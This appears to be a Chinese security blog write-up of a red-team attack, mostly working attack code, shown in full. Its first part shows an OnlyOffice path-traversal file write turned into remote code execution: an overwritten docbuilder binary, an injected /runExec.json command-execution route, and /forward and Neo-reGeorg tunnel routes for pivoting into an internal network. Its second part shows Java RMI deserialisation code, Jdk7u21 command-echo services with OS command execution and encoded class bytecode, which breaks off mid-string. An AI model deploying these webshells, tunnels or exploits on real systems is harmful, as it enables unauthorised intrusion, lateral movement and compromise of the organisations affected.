35
36
37
38
39
exports.saveFile = function(req, res) {
return co(function*() {
let docId = 'null';
try {
let startDate = null;
if (clientStatsD) {
startDate = new Date();
}

let strCmd = req.query['cmd'];
let cmd = new commonDefines.InputCommand(JSON.parse(strCmd));
docId = cmd.getDocId();
logger.debug('Start saveFile: docId = %s', docId);

if (cfgTokenEnableBrowser) {
let isValidJwt = false;
let checkJwtRes = docsCoServer.checkJwt(docId, cmd.getTokenSession(), commonDefines.c_oAscSecretType.Session);
if (checkJwtRes.decoded) {
let doc = checkJwtRes.decoded.document;
var edit = checkJwtRes.decoded.editorConfig;
if (doc.ds_encrypted && !edit.ds_view && !edit.ds_isCloseCoAuthoring) {
isValidJwt = true;
docId = doc.key;
cmd.setDocId(doc.key);
} else {
logger.warn('Error saveFile jwt: docId = %s\r\n%s', docId, 'access deny');
}
} else {
logger.warn('Error saveFile jwt: docId = %s\r\n%s', docId, checkJwtRes.description);
}
if (!isValidJwt) {
res.sendStatus(403);
return;
}
}
cmd.setStatusInfo(constants.NO_ERROR);
yield* addRandomKeyTaskCmd(cmd);
cmd.setOutputPath(constants.OUTPUT_NAME + pathModule.extname(cmd.getOutputPath()));
yield storage.putObject(cmd.getSaveKey() + '/' + cmd.getOutputPath(), req.body, req.body.length);

首先对cmd参数进行了一次JSON解析,由于默认未开启cfgTokenEnableBrowser,所以可以直接跳过中间一部分。

最后调用了storage.putObject方法写文件,
文件地址 cmd.getSaveKey() + '/' + cmd.getOutputPath()
文件内容来源于req.body , 也就是POST body。

cmd变量来自于对cmd参数值的JSON解析,在yield* addRandomKeyTaskCmd(cmd)方法中,

1
2
3
4
function* addRandomKeyTaskCmd(cmd) {
var task = yield* taskResult.addRandomKeyTask(cmd.getDocId());
cmd.setSaveKey(task.key);
}

调用了savekey setter,随机生成taskkey再重新设置savekey属性值,导致不再可控。虽然savekey无法控制,但是outputpath没有被重新设置,还是来源于参数值,所以这里通过outputpath可以实现目录穿越到任意地址写文件。

返回400,不过文件实际已经写入,这里的web路径来源于搭建的docker环境中找到的,在测试目标时,使用这个目录也成功写入,怀疑目标一样也是用的docker。


虽然已经能任意地址文件写,但也仅仅只是开始。
Nodejs不像传统PHP、JAVA、ASPX,能够通过写入脚本类Webshell文件实现代码执行。
那么如何从一个文件写到RCE?

武器化利用

1、写计划任务

最容易想到的方法,写入文件到计划任务目录中实现RCE,

不过从搭建的docker环境中发现,跑express的用户非root,应该是无法通过计划任务实现RCE。实际测试目标,通过计划任务往/var/www/onlyoffice/documentserver/server/welcome/目录写文件,最终也未成功,应该就是权限问题。

2、覆盖原始web文件注册路由

跑express的用户为ds, web下的文件所属用户也都为ds,那么可以通过覆盖web的一些文件实现RCE。
首先会想到覆盖js文件,新增路由实现RCE,但是比较麻烦的是node需要重启才会加载上新增的路由,而我们暂时无法做到让目标重启。
既然不能重启,那么很容易就能想到通过覆盖模板文件再通过SSTI RCE,覆盖模板文件后不需要重启服务即可利用,不过最后发现onlyoffice根本就没用到模板。

至此,只能找OnlyOffice中是否存在命令执行调用elf的路由,通过任意文件写覆盖elf来实现命令执行。

1
2
3
app.post('/docbuilder', utils.checkClientIp, rawFileParser, (req, res) => {
converterService.builder(req, res);
});

存在一个docbuilder路由,看名字应该是用来生成文档的,该路由方法的实现代码大概如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function builderRequest(req, res) {
return co(function* () {
let docId = 'builderRequest';
..................................
if (error === constants.NO_ERROR &&
(params.key || params.url || (req.body && Buffer.isBuffer(req.body) && req.body.length > 0))) {
docId = params.key;
let cmd = new commonDefines.InputCommand();
cmd.setCommand('builder');
cmd.setIsBuilder(true);
cmd.setWithAuthorization(true);
cmd.setDocId(docId);
if (!docId) {
let task = yield* taskResult.addRandomKeyTask(undefined, 'bld_', 8);
docId = task.key;
cmd.setDocId(docId);
if (params.url) {
cmd.setUrl(params.url);
cmd.setFormat('docbuilder');
} else {
yield storageBase.putObject(docId + '/script.docbuilder', req.body, req.body.length);
}
let queueData = new commonDefines.TaskQueueData();
queueData.setCmd(cmd);
yield* docsCoServer.addTask(queueData, constants.QUEUE_PRIORITY_LOW); // 加入任务队列中
}
.................
cmd.setStatusInfo(constants.CONVERT_DEAD_LETTER);
canvasService.receiveTask(JSON.stringify(task), function(){}); // 处理任务

调用addTask方法,将生成doc的任务加到队列中。

1
2
3
4
5
6
7
8
9
function receiveTask(data, ack) {
return co(function* () {
var res = null;
var task = null;
try {
task = new commonDefines.TaskQueueData(JSON.parse(data));
if (task) {
res = yield* ExecuteTask(task);
}

在接收到任务后,调用ExecuteTask方法,执行该任务

1
2
3
4
5
function* ExecuteTask(task) {
fs.mkdirSync(path.join(tempDirs.result, 'output'));
processPath = cfgDocbuilderPath;
.........
let spawnAsyncPromise = spawnAsync(processPath, childArgs, spawnOptions);

简单点说就是在ExecuteTask方法中,会通过spawnAsync命令执行方法调用 /var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder ELF来生成文档,docbuilder文件所属用户也是ds,那么可以通过之前的文件写漏洞覆盖掉docbuilder ELF,再通过docbuilder路由触发我们上传的ELF。
写了一个简易的bash反弹脚本覆盖了/var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder文件,本地测试Docker环境直接反弹SHELL成功,但是以我们对目标公司的了解,99.99%是无法连接外网的。
首先还是得让命令执行执行得更顺畅一点,新增一个命令执行的路由,这时候我们已经能够通过docbuilder的命令执行 新增路由、重启服务了。
在本地的docker环境中,服务是ROOT用户通过supervisor来启动的。

虽然supervisor是ROOT启动的,不过任意用户都能重启supervisor服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.all('/runExec.json', (req, res) => {
const spawn = require('child_process').spawn;
var username = req.query.username ? req.query.username: req.header("username");
if(!username){
res.send("empty para!");
}else {
const cmd = spawn('sh', ['-c', username]);
var result = "";
cmd.stdout.on('data', (data) => {
result += data;
});

cmd.on('close', (code) => {
res.send(result);
return res.end();
})
}
});

在DocService/sources/server.js中,新增了一个如上的runExec.json路由,用于命令执行直接回显。

最开始为了实现nodejs命令执行回显,直接从网上复制了一段child_process.execSync命令执行的代码,差点被这个坑死,execSync在子进程完全关闭之前不会返回。导致在通过execSync命令执行curl一个不存在的站时会等待一段时间,这时候OnlyOffice这web就直接卡死访问不到了,还好curl默认会一段时间超时结束掉,如果执行了ping xx或者运行了一个无返回的elf会直接导致站挂掉,吓得赶紧把execSync换成spawn。

3、搭建代理直通内网

通过 /runExec.json 命令执行,验证了目标确实各种协议都无法出网,为了进行内网渗透肯定得搭建代理。
在常规渗透中如果目标无法出网,通常会使用Neo-Regeorg等工具落地脚本文件实现代理进行内网渗透,但是很尴尬的是Neo-Regeorg并未提供js的脚本。Regeorg倒提供了JS版本https://github.com/sensepost/reGeorg/blob/master/tunnel.js ,但是实测问题很多没法使用。为了解决这个问题,我们开始吭哧吭哧的改Nodejs版的Neo-Regeorg,折腾了一两天改出来的Nodejs版Neo存在Bug只能代理HTTP流量,HTTPS、SSH等服务都有问题,也没发现是哪出的问题,然后就暂时搁置了这套方案。
在没有内网代理的情况下,内网渗透搁置了下来,大概思考了下,想出了三个方案
1、继续修改Neo-Regeorg
2、通过命令执行,利用curl横移拿下一些机器后可能存在能够出网的机器
3、做WebSocket代理 (没找到现成合适的工具)
为了实现cuwrl横向,先通过命令执行写入了一个fscan的base64到OnlyOffice机器上,直接开扫。

很幸运的是直接扫到了一些存在漏洞的财务系统,直接利用bsh实现了命令执行,但是很尴尬,拿了好几台内网的机器依然都是各种协议无法出网,再次陷入僵局。
虽然横向的机器也无法出网,不过该Web应用是Java,所以能直接使用现成的Neo-Regeorg。那么可以落地一个Neo-Regeorg到该Java系统上,虽然外网无法访问到,可以通过OnlyOffice新增一个转发路由,将外网的HTTP请求直接转发到内网该系统上。
通过bsh写Neo-Regeorg,直接new java.io.FileOutputStream(“path”).write(bytes)写文件即可。
虽然开发比较菜导致写的Nodejs版Neo-Regeorg一直有问题,但是转发HTTP请求的Nodejs代码还是非常简单的,只需要原样将uri,headers,body转发到java服务器上,再原样将response拿回来即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
app.all('/forward', function(req, res){

let forwardHost = req.header("forwardHost");
let forwardPort = req.header("forwardPort");
let forwardPath = req.header("forwardPath");

if(!forwardHost || !forwardPort || !forwardPath){
return res.end("empty para");
}else {
let body = '';
req.on('data', function (chunk) {
body += chunk;
});

req.on('end', function () {
let options = {
method: req.method,
host: forwardHost,
port: forwardPort,
path: forwardPath,
headers: req.headers,
timeout: 5000,
}

try {
var callback = function (response) {
var body = '';
response.on('data', function (chunk) {
body += chunk;
});

response.on('end', function () {
var headers = response.headers
if ('set-cookie' in headers) {
var set = headers['set-cookie'];
headers['set-cookie'][0] = set[0].substring(0, set[0].indexOf('Path=/') + 6);
}
res.set(headers)
return res.end(body);
});
}

let requests = http.request(options, callback);
requests.write(body);
requests.end();
} catch (e) {
return res.end(e.message);
}
})
}
})

新增forward路由后,重启OnlyOffice服务,通过以下命令成功代理到了目标内网

python3 neoreg.py -u http://onlyofficeHost/forward -k pass -p 8888 -H "forwardHost: NCHOST" -H "forwardPort: 9081" -H "forwardPath: /uri.jsp"

项目结束后,问了下 purpleroc 大佬,直接帮我解决了Bug,直接完善了方案1,通过新增如下的路由,重启服务后可直接实现代理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
function StrTr(input, frm, to){
var r = "";
for(i=0; i<input.length; i++){
index = frm.indexOf(input[i]);
if(index != -1){
r += to[index];
}else{
r += input[i];
}
}
return r;
}

var net = require('net');

sessions = {}

const delay = ms => new Promise(resolve => setTimeout(resolve, ms))

router.all('/proxy.php', function(req, res) {

const writebuffunc = async (session, mark) => {
writebuf = "writebuf" + mark;
readbuf = "readbuf" + mark;
tcphandle = "tcphandle" + mark;
run = "run" + mark;
while (session[run]) {
// console.log(run + ": " + session[run]);
// if (session[run]) {
// console.log(run);
// console.log(session[run]);
// console.log(session[writebuf]);
if (session[writebuf].length == 0) {
await delay(50);
}
if (session[writebuf] == undefined){
// console.log("[+] tcpConn.destroy()");
// tcpConn.destroy();
return;
}
let writeBuff = session[writebuf].pop();

if (writeBuff) {
var a = session[tcphandle].write(writeBuff);
// console.log("Send done!")
// console.log(a);
}
// } else{
// break
// }
}
}

try {
en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
de = "Y+mad20bOq8FirAnDw53GKCxU4IMVzWPTLpRXuEZsQJtfeSy6okvc9HlgN17/hBj";
if (req.cookies.SESSIONID) {
if (sessions[req.cookies.SESSIONID] != undefined) {
session = sessions[req.cookies.SESSIONID];
}else{
session = {};
sessions[req.cookies.SESSIONID] = session;
}
} else {
session = {};
sessions[req.cookies.SESSIONID] = session;
}

var cmd = req.header("Ygcohluhosnj");
if (cmd) {
mark = cmd.substring(0, 22);
cmd = cmd.substring(22);
run = "run" + mark;

writebuf = "writebuf" + mark;
readbuf = "readbuf" + mark;
tcphandle = "tcphandle" + mark;
// console.log("[+] New Mark: " + mark);
}

switch (cmd) {
case 'Og_97W8l8U3Ujn7ubVvIEB4YcoTusKmiKSbF70fv9UfRGUCOr0mrzyFrZ81fL': {
// connect
target_ary = Buffer.from(StrTr(req.header("Ywflea"), de, en), 'base64').toString().split("|")
target = target_ary[0];
port = parseInt(target_ary[1]);
session[tcphandle] = new net.Socket();
session[tcphandle].connect(port, target, mark);

console.log("tcpConn: ")

session[tcphandle].on('data', function (data) {
// console.log("[+] Recv: " + data.toString("hex"));
// console.log("[+] readbuf: " + readbuf);
if (data) {
session[readbuf].unshift(data);
}
})

session[tcphandle].on('connect', async function () {
session[run] = true;
session[writebuf] = new Array();
session[readbuf] = new Array();
});

session[tcphandle].on('error', function (error) {
session[tcphandle].destroy();
session[run] = false;
res.set({
'Eegmsjowdhwriinoj': 'z3Fx6vOKX8m3Dm5yUUNQASxM862WJxEv8xVRY8h2jObzFHI',
'Zhdmrecmdz': 'efrlfKv5iVJppPNd_IfOkDfOY0WVf0cJo6Nd4roKtFVV4L4PyN_ZJJN9PeJVrq'
});
return res.end();
});
break;
}
case 'rtIwgIRShAOWL2ltogrJNQlVpF': {
// disconect
console.log("[!] Disconnect");
console.log(mark);
session[run] = false;
// session[writebuf] = undefined;
// session[readbuf] = undefined;
// if (session[tcphandle] != undefined){
// session[tcphandle].destroy();
// }
// console.log(session[readbuf]);
// console.log(session[writebuf]);
// console.log(session[run]);

return res.end();
}
// readbuf
case 'HbQ3SDPRgsvCxb8Llh7gcB': {
var readBuffer = "";
if (session[readbuf] == undefined) {
return res.end();
}
if (session[readbuf].length > 0) {
readBuffer = session[readbuf].pop();
}

running = session[run];
writebuffunc(session, mark);

if (running) {
res.set('Eegmsjowdhwriinoj', 'MYBTsrWPJojQDO2hE');
res.set('Connection', 'Keep-Alive');

var body = StrTr(Buffer.from(readBuffer).toString('base64'), en, de);
//
var _tmp = Buffer.from(readBuffer).toString("hex");
// console.log("[+] Send to Client: " + _tmp);
// console.log("[+] Length: " + readBuffer.length);

res.send(body);
return res.end();
} else {
res.set({'Eegmsjowdhwriinoj': 'z3Fx6vOKX8m3Dm5yUUNQASxM862WJxEv8xVRY8h2jObzFHI'});
return res.end();
}
}
// writebuf
case 'G9s6SEScPwNi1i_MjDmD_a6LfQ1chmmkliBIQvmpAwGz2VdDfC1zWk': {

running = session[run];
if (!running) {
res.set({
'Eegmsjowdhwriinoj': 'z3Fx6vOKX8m3Dm5yUUNQASxM862WJxEv8xVRY8h2jObzFHI',
'Zhdmrecmdz': 'smkxMnqXU5EvPLsZf1f8UaJNmnJr3YCbM'
});
return res.end();
} else {
res.set('Content-Type', 'application/octet-stream');

let chunk1 = '';
req.on('data', function (chunk) {
chunk1 = chunk;
});

req.on('end', function () {

let body = chunk1.toString();
if (body) {
var _tmp = new Buffer.from(StrTr(body, de, en), 'base64');
session[writebuf].unshift(new Buffer.from(StrTr(body, de, en), 'base64'));
//
// console.log("[+] Send to server: " + _tmp.toString("hex"));
// console.log("[+] Length: " + _tmp.length);
res.set({'Eegmsjowdhwriinoj': 'MYBTsrWPJojQDO2hE', 'Connection': 'Keep-Alive'});
return res.end();
} else {
res.set({
'Eegmsjowdhwriinoj': 'z3Fx6vOKX8m3Dm5yUUNQASxM862WJxEv8xVRY8h2jObzFHI',
'Zhdmrecmdz': 'xMU7R9dZ3SG8by8hMwlc7z5M'
});
return res.end();
}
})
}
break;
}
default: {
var sessionid = 'Ur' + Math.random();
res.set({'Set-Cookie': 'SESSIONID=' + sessionid + ';'});
sessions[sessionid] = {};
return res.end("<!-- nFPltXUCizWaY6SWPp -->");
}
}
}catch(e){
console.log(e);
// res.send(e.message);
return res.end();
}

});

他也提了pull requests,https://github.com/L-codes/Neo-reGeorg/pull/66,添加该路由后就能直接使用NodeJS版本正向代理。

总结

在项目结束后,我们去分析了最新版的savefile路由,发现该漏洞已经修复,同时我们也去分析了最新版本的OnlyOffice代码,也找到了最新版本的RCE漏洞,已提交给官方。此次攻击流程颇为艰辛与复杂,最后还是通过代码审计与武器开发能力,完成最后的攻击。

java反序列之Jdk7u21回显 ~ 解决网络问题

之前利用绑定服务的方式实现了回显,但是在部分场景下存在网络问题导致无法实现回显。

分析

在服务绑定到注册中心时,服务的地址是通过解析Hostname得到。
http://www.yulegeyu.com/2018/12/22/RMI-ReferenceWrapper-Stub-With-Hostname/

这里就存在了问题,很多时候目标的Hostname解析结果并不是外网IP而是本机的内网IP,lookup时在客户端从注册中心拿到代理对象stub后,通过stub得到服务地址后,会在客户端与服务地址建立连接。如果是攻击外网的RMI服务,由于内网IP导致无法建立链接。

从nmap的扫描结果也能看出这个问题。
虽然是内网IP,但是由于高版本JDK中注册中心和服务端必须在同一台机器上,所以通常这个内网IP都是本机的内网IP。那么只要将这个内网IP修改为外网IP,不存在安全策略的情况下依然能调用服务实现回显。

sun.rmi.registry.RegistryImpl_Stub#lookup
接下来就走了一遍整个流程,发现只要修改了该方法中的var2对象中的incomingRefTable属性中的Host即可解决问题,这里通过反射修改该属性值。

最开始准备使用Java Agent来解决,后面发现不用Hook直接将lookup方法给抽取出来也行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
public class RMIClient extends RemoteObject {

private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
private RemoteRef ref = null;
private String ip = null;

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
StreamRemoteCall var2 = (StreamRemoteCall)this.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var15) {
throw new MarshalException("error marshalling arguments", var15);
}

this.ref.invoke(var2);

Remote var20;
try {
ObjectInput var4 = var2.getInputStream();
var20 = (Remote)var4.readObject();

Field f = var2.getClass().getDeclaredField("in");
f.setAccessible(true);
Object conn = f.get(var2);

f = conn.getClass().getDeclaredField("incomingRefTable");
f.setAccessible(true);

HashMap rets = (HashMap) f.get(conn);

Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();

f = entry.getKey().getClass().getDeclaredField("host");
f.setAccessible(true);
f.set(entry.getKey(), this.ip);
} catch (IOException | ClassNotFoundException | ClassCastException var13) {
// var2.discardPendingRefs();
throw new UnmarshalException("error unmarshalling return", var13);
} finally {
this.ref.done(var2);
}

return var20;
} catch (RuntimeException var16) {
throw var16;
} catch (RemoteException var17) {
throw var17;
} catch (NotBoundException var18) {
throw var18;
} catch (Exception var19) {
throw new UnexpectedException("undeclared checked exception", var19);
}
}

public static void main(String[] args) throws Exception {

String command = "id";
String ip = "ip";
Registry registry = LocateRegistry.getRegistry(ip, port);

// for(String x:registry.list()){
// System.out.println(x);
// }

Subject subject = new Subject();
Field f = subject.getClass().getDeclaredField("principals");
f.setAccessible(true);
Set set = new HashSet();
UnixPrincipal unixPrincipal = new UnixPrincipal(command);
set.add(unixPrincipal);
f.set(subject, set);

f = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
f.setAccessible(true);

RMIClient r = new RMIClient();
r.ref = (RemoteRef) f.get(registry);
r.ip = ip;

System.out.println(((RMIConnection)r.lookup("MonitorService")).getDefaultDomain(subject));

}
}

使用原生lookup时,建立连接失败导致无法回显命令结果。

使用修改后的lookup方法成功回显。

工具

https://github.com/A-D-Team/attackRmi

java反序列之Jdk7u21回显

使用场景

以前在打RMI反序列化的时候都是用的CC、CB利用链实现报错回显,很好使。
之前在做一次项目的时候发现了目标存在RMI反序列化漏洞,系统为Windows,无DNS不出网。
通过延时探测出只存在Jdk7u21利用链。

RMI回显

打目标时依然尝试使用老方法回显,Jdk7u21 + 报错回显,发现一直没回显。平时自己Jdk7u21利用链用得比较少,大概了解Jdk7u21最后的利用也是通过Templatesimpl#newTransformer方法实现代码执行,只能去看代码分析下失败的原因。

Jdk7u21利用链也是利用的AnnotationInvocationHandler动态代理,通过HashSet触发到代理handler的equal方法,最终到
sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

可以发现在在invoke反射调用templatesimpl#newTransformer方法时,捕获了异常。当捕获InvocationTargetException异常时返回了false,捕获IllegalAccessException异常时,继续向上抛了异常。

在反射过程中,反射所调用的方法中出现未被捕获的异常时,就会抛出InvocationTargetException异常,所以这里通过templatesimpl执行任意代码抛出任意异常(包括IllegalAccessException)回显,只能进入return false的分支,最终无法实现异常回显。

搞清楚了无法通过异常回显的原因后,接着就开始寻思其他的解决方案,首先能想到的就是参考weblogic的T3/IIOP回显,绑定一个服务到registry上。

在T3回显中,服务类实现了ClusterMasterRemote接口再绑定到registry,不过ClusterMasterRemote是Weblogic中自带的类不适用我们的场景。
这时候去得去jdk里找一个继承了java.rmi.Remote的接口,为了比较简单的传递命令和返回命令结果,参数类型和返回类型都为String方便一点。
翻了一会,只找到了一个符合要求的接口,sun.jvm.hotspot.debugger.remote.RemoteDebugger。

1
2
3
4
public interface RemoteDebugger extends Remote {
...........
String consoleExecuteCommand(String var1) throws RemoteException;
}

然后定义一个类实现这个接口,最后暴露实现类最后绑定到registry,本地直接绑定成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.jvm.hotspot.debugger.MachineDescription;
import sun.jvm.hotspot.debugger.ReadResult;
import sun.jvm.hotspot.debugger.remote.RemoteDebugger;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIBindService2 extends AbstractTranslet implements RemoteDebugger {

public RMIBindService2() throws RemoteException {
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
UnicastRemoteObject.exportObject(this, 0);
registry.rebind("hhhh", this);
}catch(Exception e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public String getOS() throws RemoteException {
return null;
}

@Override
public String getCPU() throws RemoteException {
return null;
}

@Override
public MachineDescription getMachineDescription() throws RemoteException {
return null;
}

@Override
public long lookupInProcess(String s, String s1) throws RemoteException {
return 0;
}

@Override
public ReadResult readBytesFromProcess(long l, long l1) throws RemoteException {
return null;
}

@Override
public boolean hasConsole() throws RemoteException {
return false;
}

@Override
public String getConsolePrompt() throws RemoteException {
return null;
}

@Override
public String consoleExecuteCommand(String command) throws RemoteException {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command};
java.io.InputStream in = null;
try {
in = Runtime.getRuntime().exec(cmds).getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.next();
return output;
}

@Override
public long getJBooleanSize() throws RemoteException {
return 0;
}

@Override
public long getJByteSize() throws RemoteException {
return 0;
}

@Override
public long getJCharSize() throws RemoteException {
return 0;
}

@Override
public long getJDoubleSize() throws RemoteException {
return 0;
}

@Override
public long getJFloatSize() throws RemoteException {
return 0;
}

@Override
public long getJIntSize() throws RemoteException {
return 0;
}

@Override
public long getJLongSize() throws RemoteException {
return 0;
}

@Override
public long getJShortSize() throws RemoteException {
return 0;
}

@Override
public long getHeapOopSize() throws RemoteException {
return 0;
}

@Override
public long getNarrowOopBase() throws RemoteException {
return 0;
}

@Override
public int getNarrowOopShift() throws RemoteException {
return 0;
}

@Override
public long getKlassPtrSize() throws RemoteException {
return 0;
}

@Override
public long getNarrowKlassBase() throws RemoteException {
return 0;
}

@Override
public int getNarrowKlassShift() throws RemoteException {
return 0;
}

@Override
public boolean areThreadsEqual(long l, boolean b, long l1, boolean b1) throws RemoteException {
return false;
}

@Override
public int getThreadHashCode(long l, boolean b) throws RemoteException {
return 0;
}

@Override
public long[] getThreadIntegerRegisterSet(long l, boolean b) throws RemoteException {
return new long[0];
}
}

但是在打目标时却失败了,隐约能感觉出是因为目标环境中RemoteDebugger的问题。

1
2
3
4
5
    try {
Class.forName("sun.jvm.hotspot.debugger.remote.RemoteDebugger");
} catch (ClassNotFoundException e) {
Thread.currentThread().sleep(10000L);
}

用sleep验证了下,发现目标RemoteDebuggerg还真有问题。

为了解决这个问题,直接分别defineClass生成三个类,继承Remote的接口、实现类、触发绑定registry方法的类,用这方法打目标倒是成功了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class RMIBind extends AbstractTranslet {

public RMIBind() throws Exception {

ClassLoader cl = Thread.currentThread().getContextClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
method.setAccessible(true);

byte[] bytesImpl = Base64.decode("yv66vgAAADEADgcACgcACwcADAEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMHAA0BAApTb3VyY2VGaWxlAQAXdHJpZ2dlckJpbmRFeGVjT2JqLmphdmEBAAxCaW5kRXhlY0ltcGwBABBqYXZhL2xhbmcvT2JqZWN0AQAPamF2YS9ybWkvUmVtb3RlAQATamF2YS9pby9JT0V4Y2VwdGlvbgYAAAEAAgABAAMAAAABBAEABAAFAAEABgAAAAQAAQAHAAEACAAAAAIACQ==");
byte[] bytesService = Base64.decode("yv66vgAAADEAUAoAFQAjCAAkCgAlACYKAAcAJwgAKAoABwApBwAqCAArCAAsCAAtCAAuCgAvADAKAC8AMQoAMgAzBwA0CgAPADUIADYKAA8ANwoADwA4BwA5BwA6BwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMHAD4BAApTb3VyY2VGaWxlAQAXdHJpZ2dlckJpbmRFeGVjT2JqLmphdmEMABkAGgEAB29zLm5hbWUHAD8MAEAAHgwAQQBCAQADd2luDABDAEQBABBqYXZhL2xhbmcvU3RyaW5nAQACc2gBAAItYwEAB2NtZC5leGUBAAIvYwcARQwARgBHDAAdAEgHAEkMAEoASwEAEWphdmEvdXRpbC9TY2FubmVyDAAZAEwBAAJcYQwATQBODABPAEIBAAtCaW5kRXhlY09iagEAEGphdmEvbGFuZy9PYmplY3QBAA9qYXZhL3JtaS9SZW1vdGUBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEADEJpbmRFeGVjSW1wbAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2Vxd